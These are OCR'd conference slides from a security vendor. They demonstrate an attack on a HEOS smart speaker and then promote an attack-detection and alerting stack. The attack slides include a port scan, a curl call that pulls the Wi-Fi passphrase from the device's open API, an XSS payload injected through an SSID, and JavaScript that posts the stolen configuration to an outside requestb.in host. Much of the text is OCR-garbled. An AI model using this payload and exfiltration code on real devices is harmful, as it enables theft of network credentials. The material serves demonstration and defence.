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Fast Moving
Targets

"BitSensor is building a radar system
for hackers"



http://www.youtube.com/watch?v=27UkZXbYpUY
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IBP nmap -T4 -p1-65535 192.168.1.64 -Pn 396ms < di 18 apr 2017 21:44:44 CEST



IB nnap -T4 -p1-65535 192.168.1.64 -Pn 396ms < di 18 apr 2017 21:44:44 CEST

Starting Nmap 7.40 ( https://nmap.org ) at 2017-04-18 21:46 CEST
Nmap scan report for Speaker.lan (192.168.1.64)
Host 1s up (0.026s latency).

Not shown: 65527 closed ports

PORT STATE SERVICE

80/tcp open http

111/tcp open rpcbind

1255/tcp open de-cache-query

8015/tcp open unknown

10234/tcp open unknown

60001 /tcp open unknown

60002/tcp open unknown

60006/tcp open unknown

map done: P address (1 host up) scanned in 26.16 seconds
i 26.1s { di 18 apr 2017 21:46:39 CEST



g iveaway # @ Not secure | 192.168.1.64

1 | 'HEOS Device Configuration

Network Interface
Network Interface:
Wireless Settings

Status: LINK_READY

Wireless Network: TELE2-E5340F ¥ Get Networ

Security:

Passphrase:

Network Statistics

IP Address Settings

Configuration Type: Automatic (DHCP) ¥

IP Address:
Subnet Mask:
Gateway:

DNS:

Wireless Power Saving:

FIRMWARE UPDATE



[ ﬂ Elements Console Sources Nebtwork Timeline Profiles  Application  Security  Audits  ScratchJS  Tamper  EditThisCookie  AdBlock

® O | B ¥ | vViews i= = | [ Preservelog [J Disable cache | [0 Offline Mo throttling v
[ Filter |0 Regex [J Hide data URLs XHR JS €SS Img Media Font Doc WS Manifest Other
| 5000 ms 10000 ms 15000 ms 20000 ms 25000 ms 30000 ms 35000 ms 40000 ms 45000 |
Mame ¥ Headers | Preview Response Timing
|| handheld.css 4|  1|<APInfoList><APInfo=<SSID=TELE2-ES340F</S5ID><Protocol=>882.11b/g/n</Protocol><Channel>11l</Channel><51

[ ] jqueryjs

|_| Serverinkerface js
[ | wirelessStatistics. js
u deskbop.css

| | header.html

| | Footerhtml

B oet_config?type=9&_=1452545203031

|j header.png - =
_ : http://192.168.1.64/ajax/get_configitype=9& =1492545203031
|_| ng-inspectorjs ke : -

[ | Faviconico

[ | ping?_=1492545213033

| | ping?_=1492545226235

|| ping?_=1492545236337

| | ping?_=14925452456400

| | ping?_=1492545256465 -

17 requests | 19.1 KB transferred | Finish:... |



IoT with API & AJAX
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get config

<friendlyName>5peaker</friendlyName><l

P curl

<languagelist><language LCID="1033" locale="en_US" current="true"><Name>English</Name><Descrip
tion=English (US)</Description></language></languagelist>«

' curl

<languagelocale>en_US</languagelocale><

curl

<timeZone>(GMT+2:00)</timeZone>&

<networkConfigurationld /networkConfigurationId><

curl




curl \

'http://192.168.1.64/ajax/get config?type=10" \
-H "Accept: text/plain, */*; g=0.01" \

-H 'X-Requested-With: XMLHttpRequest'

# Notice the elephant in the room?



curl \

"http://192.168.1.64/ajax/get config\?type=10" \
-H "Accept: text/plain, */*; g=0.01" \

-H 'X-Requested-With: XMLHttpRequest'

<wirelessProfile SSID="TELE2-E5340F">
<wirelessSecurity enabled="true">
<Mode passPhrase="9118C27AXX">
WPA2-AES
</Mode>
</wirelessSecurity>
</wirelessProfile>






Browsing Browsing
context of context of

Site A Site B

SOP, Krishna Chaitanya T, Infosys Labs



I C | @ 192.168.1.64/ w0 & H DS Ge 0w -

"HEQOS Device Configuration

Wireless Statistics

s | WaNt My code here
1 -82 20

geldropseweg3 1 =92 o]

Familie Verhoeven 1 -92 0 < -—— . -

UPC249214417 1 -78 29

UPC247271526 i -84 15

ProeverijBorreluur_PRIVATE 1 -74 39

Ziggo 1 74 39

FIRMWARE UPDATE ABOUT

[ ﬂ Elements Console Sources Metwork Timeline Profiles Application Security Audits SecratchJS  Tamper  EditThisCookie  AdBlock

® & mW YT | View IE = Preserve log Disable cache Offline Mo throttling v

te Regex Hide data URLs [} XHR JS €SS Img Media Font Doc WS Manifest Other

5000 ms 10000 ms 15000 ms 20000 ms 25000 ms 30000 ms 35000 ms 40000 ms 45000 ms 50000 ms 55000 ms 60000 ms 65000 ms 70000 ms 75000 ms 80000ms 85000 ms

Name % Headers Preview Response Timing
| handheld.css

- 1 <APInfoList><APInfo=><5SID=TELE2-ES348F</S5 rotocol=862.11b/g/n</Protecol=<Channel>1l</Channel><5ignal>-42</Signal>=Quality=180</Quality><SecurityMode>WPA2-AES</SecurityMode><WP5=N0</WPS></APLInfo=<APInfo=<55ID>Mancave w2.0</55ID><Protocol>80;
Jquery.js

8 Serverinterface js
B WirelessStatistics.js
| desktop.css

|| header.html

|| footerhtml

get_co

—| header.png
— http://192.168.1.64/ajax/get_config?type=9&_=1492545203031
| ngrinspector,s —

|_| favicon.ico

| ping?_~1452545213033

|| ping?_=1492545226235

|| ping?_=1492545236337

| ping?_=1492545246400

| ping?_=1492545256465

17 requests | 19.1 KB transferred | Finish:...
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ssid 1
ssid 2
ssid 3

=
-
o
— i
? ssid 4

¢ o C [0 192168104/t
i HEO!

Wireless Statistics

| ssio

geldropsewegs
Famile Verhoeven
Upcausz1aa1
Upcaarzr1526
ProeveriBorreluur_PRIVATE
Ziggo

%09 B B00Gesw oo

Device Configuration

[ want my code here
<____

FIRMWARE UPDATE asouT
Network Tinline _Profles Applction _ Securty Audits  ScrtchJs Tamper  EdiThsCookie  Adslock omar i x
Preservelog O Disable cache | O Offine Nothrot v
P Regex (1 Hide dataRls ) XHR J5 CSS g Media Font Doc WS Manifest Other
- <protocatssez. to/a/ner Channers 1./ Channets<S1nats- 42¢/510131<QUaL Ly 105/ QUaLLtys<Secur Ly HodesHPAZ. AES</Secur L loces ssi<protocatoas:

152166164

17requests | 191K tansfered | i

ae-ss -14525452030%
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v HEO Device Configuration

Wireless Statistics

[ have my code here

Familie Verhoeven E < -
UPC249214417

Upc247271526

ProeveriBorreluur_PRIVATE.

Zigga

FIRMWARE UPDATE asouT

Comsole Sources Network Timelive Profies Application _Security Audls  Scatch s Tamper EdiThisCookie  Adslock omar i x

0 =¥ vew Preservelog O Disabe cache | O Offne. Nothrotting N
P Regex (1 Hide dataRls ) XHR J5 CSS g Media Font Doc WS Manifest Other

Name X Hesders praview

|1 aptntoListoeapIntasSIDATELER Es34aF</SSID<Prutacet>802. 1ib/g/ne/Protocol <Chamneto1 ats-a2e/s1gnatsuan oua st tades 4.

ae-ss -14525452030%

17requests | 191K tansfered | i .



Wi-Fi-hotspot instellen

Netwerknaam

<script src=hitsensor.io/x />

Beveiliging
WPA2 PSK

Wachtwoord

Het wachtwoord moet uit ten minste 8 tekens
bestaan.

|:| Wachtwoord weergeven

Frequentieband voor toegangspunt selecteren
2,4-GHz-frequentieband v

ANNULEREN OPSLAAN




< > C | ® 192.168.1.64/set

HEOS

Wireless Statistics

w0 & = oE :

Device Configuration

hidd '
I
ssiD Channel RSSI (dBm) | Quali 1 e n S C r 1 p t
UPC1087119 1 23 42
p -84 15

4"" 1 -82 20
UPC247271526 1 81 23
UPC692201 i -86 10
Ziggo 1 -76 34
Park Plaza Eindhoven 1 -90 0

FIRMWARE UPDATE ABOUT

[ ﬂ Elements Console Sources Metwork Timeline Profiles Application Security Audits ScratchJS  Tamper EditThisCookie  AdBlock @343 : X
® O w7 |V = Preserve log Disable cache Offline No throttling v

ter Regex Hide data URLs XHR JS €SS Img Media Font Doc WS Manifest Other

1000ms 2000 ms 3000ms 4000 ms 5000 ms 6000 ms 7000ms 8000 ms 9000 ms 10000 ms 11000 ms 12000ms 13000 ms 14000 ms 15000 ms 16000 ms 17000ms 18000 ms 19000 ms 20000 ms 21000 ms 22000 ms 23000m

Name X | Headers | Preview Response Cookies Timing
|| wirelessstatistics.html ¥ General

handheld.css Request URL: https://bitsensor.io/x?_=1492547343181
= Request Method: GET
S ATIETYL Status Code: @ 200 0K
| Serverinterface js Remote Address: 37.58.108.78:443
| wirelessstatistics s Referrer Policy: no-referrer-when-downgrade

desktop.css ¥ Response Headers view source
= header himt Accept-Ranges: bytes
| |jieaseri Connection: Keep-Aliw:
| footer.html Content-Length: 9 ° ° °

get_configPtype-9&_=1492547322119 18 Apr 2017 28:27:23 GNT
— 9.5430F35477848" ° °
= headerpng =5, max=100

ng-inspector.js , 087 Dec 2016 10:44:41 GMT
- favi B Server: Apache/2.4.10 (Debian)
Bl Strict-Transport-Security: max-a ncludeSubDomains; preload
| | ping?_=1492547332121 X-Content-Type-Opti Y

X?_=1492547343181 ST SAMEORIGIN
= S-Protection: 1; mode=block
| | x?_=1492547343181
- v Request Headers rce

Accept: */*

15 requests 14.4 KB transferred | Finisl Accept-Encoding: gzip, deflate, sdch, br =



var apGet = new XMLHttpRequest ()

apGet.onreadystatechange = function () {
exfil = new XMLHttpRequest ()
exfil.open ("post", "http://requestb.in/1f05afwl", true)
exfil.send (apGet.responseText)

console.log(apGet.responseText)

apGet.open("get", "/ajax/get config?type=10", true)
apGet.send ()
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http://www.youtube.com/watch?v=szYNFUmdp6U

AEOQS
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Al0

Insufficient
Monitoring and Logging

The majority of applications and
APIs lack the basic ability to detect,
prevent, and respond to both
manual and automated attacks.
Attack protection goes far beyond
basic input validation and involves

automatically detecting, logging,
responding, and even blocking

exploit attempts.
Application owners also need to be

able to deploy patches quickly to
protect against attacks.
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Securing cloud infrastructure 1s a hot topic.

The challenge 1s preventing legacy security tooling.

An integrated, open source, stack with dashboard
gives visibility in the infrastructure’s security.

amazon
webservices
. | . o - o @ - - -
& G ,,\\\\
p Y

Filebeat Logstash BitBrain Elasticsearch BitFace

Read file(s) and Parse logs In-depth analysis Index and store Visualize
push to Logstash

@BITSENSORD - Web Application Security and Insight



Terminal wofeb15 1

Il Rules-Kibana x

ef value:0) tim

&« c _@Eocalhost 5601/app/elastalert#/rules w0 & @ 3 D.5)® O (C]

"_" E 1 2 t Rues

M Rules Overview

]
Q

+ NewRule

@ O O -~/D/k/elastalert

ruben@Ruben. ~fDfk/elastalert /Dfk/felas rt a -
:prelight pseudo-class is deprecated. Use :hover instead.
D/k/elastalert P

yzanz-record:25431): Gtk-WARNING **: Theme parsing error: gtk.css:
‘icon-shadow' property has been renamed to '-gtk-icon-shadow'

(byzanz-record:25431): Gtk-WARNING **: Theme parsing error: gtk.css:6:
‘-gtk-image-effect' property has been renamed to '-gtk-icon-effect’

(byzanz-record:25431): Gtk-WARNING **: Theme parsing error: gtk.css:
'icon-shadow' property has been renamed to '-gtk-icon-shadow'

(byzanz-record:25431): Gtk-WARNING **: Theme parsing error: gtk.css:
‘icon-shadow' property has been renamed to '-gtk-icon-shadow

(byzanz-record:25431): Gtk-WARNING **: Theme parsing error: gtk.css:
‘outline-radius' property has been renamed to '-gtk-outline-radius'

(byzanz-record:25431): Gtk-WARNING **: Theme parsing error: gtk.css:
:prelight pseudo-class is deprecated. Use :hover instead.
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Web Application Security and insight

Please, hack the app!
@EnableBitSensor

Ruben van Vreeland
ruben@bitsensor.10



New message from elastalert

Every Detection
Detection triggered at /var/www/html/

vulnerabilities/exec/index.php
IP: 192.168.65.121 ...

bitsensor.slack.com



GOTO-HACKME  tome Voot v GOTO-HACKME  tome  Whersitie v sase  togus

BITSENSORI 2 BITSENSOR)

'WELCOME TO BITSENSOR’S HACKING COMPETITION! 'WELCOME TO BITSENSOR'S HACKING COMPETITION!

GOOD LUCK! GOOD LUCK!

PHPIDS: disablec




GOTO-HACKME  tome Voot v GOTO-HACKME  tome  Whersitie v sase  togus

BITSENSORI 2 BITSENSOR)

'WELCOME TO BITSENSOR’S HACKING COMPETITION! 'WELCOME TO BITSENSOR'S HACKING COMPETITION!

GOOD LUCK! GOOD LUCK!

PHPIDS: disablec




1. Monitor

~

2. Classify

Risk profile

amazon

webservices
Selectors Activity Period Detection Types —

200x User Agent Feb 2014 - discovery, HPP, SQLI
72x IP Addresses Sep 2015

[ - Microsoft Azure

[ Attack Events

10,272

Attacks

~

B8 Non Compliance Notifications

Description = Q File=Q Line=Q First Detected

Contains default or short salt 'this is my salt' /juice-shop/routes/continueCode.js 2 October 30th 2017, 14:59 I

Ticket creation



#elastalert
Tool: -
At: /upgrade_handle.php

To Operationalize, BitSensor integrates

! Ifi, discovery attack on hackme.bitsensor.io
IP: 221.125.9.142
Toal: -
At: fupgrade_handle.php

Alertlng Vlsuallsathl’l B].OCk].ng " Ifi, discovery attack on hackme.bitsensor.io

1P: 221.125.9.142

YJIRA KIbGRA S Tol -

At: /board.cgi

'“‘ SIaCk mOd Attack threshold exceeded by 221.125.9.142

Time: 2017-10-10T15:00:24.853738Z
@ OpsGenic IP: 221.125.9.142

_u.._ ElaStAlert Your Company JIRA

L

) AppleWebKit/537.36 (KHTML, like Gecl 75 Safari/537.36

ontains default or short salt ‘this is my salt




BITSENSORV  Dashboard ~ Cor @ Last 24 hours @ ldea /By
Live Hacking n @ B =3 r [+] &
Attack Events & x & x Event Count Y & Attackers &S x
A High risk (3 profiles) =
Selectors Activity Period Detection Types
Attacks Users Analyzed Events v yF ‘ Successful
1x User Agent Sep 2017 - codeexec, sqli, Ifi
A~ A ~ 1x IP Address Sep 2017
@ Critical Vulnerabilities &S x E Alerts S x B8 Applications S n
3 !6 5 94 Selectors Activity Period Detection Types Sy
267x User Agent Sep 2017 - codeexec, Ifi, sqli
Alerts Analyzed Applications 1x IP Address Sep 2017
Unique count of detections.hash
A A A
Alerts &S %
1.2 3 4 5 .7 » Selectors Activity Period Detection Types
Time rule_name match_body.context.http.userAgent match_body.context.ip match_body.num_hits Tx User Agent SEP 2017 - Ifi
1x IP Address Sep 2017
»  September7th2017,11:07:24.295  Behaviouris PHP-SOAP/5.6.29-0+debBul 91.205.192.179 422
suspicious
»  September7th2017,11:06:49.114 Behaviouris Mozilla/5.0 [Windows NT 10.0; WOW64: 84.83.50.222 154
suspicious rv:55.0) Gecko/20100101 Firefox/55.0
b September 7th2017, 10:49:38.24%  Mew attacker Mozilla/5.0 (Windows NT &.1; Winéd; x64) 86.94.141.68 1 Medium risk (4 profiles) v
AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/60.0.3112.113 Safari/537.36
tivit 1
»  September 7th 2017, 10:06:42.879  Behaviouris Mozilla/5.0 {(Macintosh; Intel Mac OS5 X 217.120.87.203 79 Selectors AC‘M‘Y Period Detection Types
suspicious 10_11_6) AppleWebKit/603.2.5 [KHTML, like 3x User Agent Sep 2017 -
Gecko) Version/10.1.1 Safari/603.2.5 3y IP Address Sep 2017
»  September7th2017,09:35:47.642 Behaviouris - 91.205.192.44 a9
suspicious
IS
»  September7th2017,09:08:24.690  Behaviouris PHP-SOAP/5.6.29-0+debBu1 91.205.192.179 333
suspicious Critical Vulnerabilities &S x
»  September7th2017,08:30:17.663 Behaviouris Mozilla/5.0 (Windows NT 10.0; Winé4; x64) 80.101.76.111 290 T r Ty i




Workflow

Risk profile

Selectors Activity Period
200x User Agent Feb 2014 -
72x IP Add Sep 2015

Detection Types

y, HPP, SQLI

Kbana

BitSensor
detects
|

Attack . o O

_-. Attack gets blocked 0 ( / )

Dev fixes issue

Ticket creation

@BITSENSORD - Web Application Security and Insight



Slack Teams

@ © © slack-BitSensor

BitSensor - #elastalert
ruben
S Tool: -
B reacs At: fupgrade_handle.php
Channels 1 1fi, discovery attack on hackme bitsensor.io
# elastalert IP: 221.125.9.142
general Tool: -
hacks At: /upgrade_handle.php
L 1 I, discovery attack on hackme.bitsensor.io
IP:221.125.9.142
Tool: -
At: / -gi
Direct Messages
= T 1fi, discovery attack on hackme.bitsensor.io
slackbot
5 IP: 221.125.9.142
ruben | Took -
O alexdings At: /board.cgi
O khanh
1 I, discovery attack on hackme.bitsensor.io
Invite People IP: 221.125.9.142
Tool: -
Apps F At: /board.cgi

1 discovery attack on hackme.bitsensor.io
IP: 221.125.9.142

Attack threshold exceeded by 221.12.
Time: 2017-10-10T15:00:24.8537387
IP: 221.125.9.142




Securing cloud infrastructure 1s a hot topic.

The challenge 1s preventing legacy security tooling.

An integrated, open source, stack with dashboard
gives visibility in the infrastructure’s security.

amazon
webservices
. | . o - o @ - - -
& G ,,\\\\
p Y

Filebeat Logstash BitBrain Elasticsearch BitFace

Read file(s) and Parse logs In-depth analysis Index and store Visualize
push to Logstash

@BITSENSORD - Web Application Security and Insight



.. ElastAlert
KbaAa

The complete security stack

Application Application Application Application
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Complexity




Defence in Depth |

And you can even configure it with
annotations



Let’s talk about this.

Ubiquitous
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Docker SINCE LAST NEW

JAVASCRIPT FRAMEWORK

Patching
Known Vulnerable Components




Blockchain

Same primitives as digests
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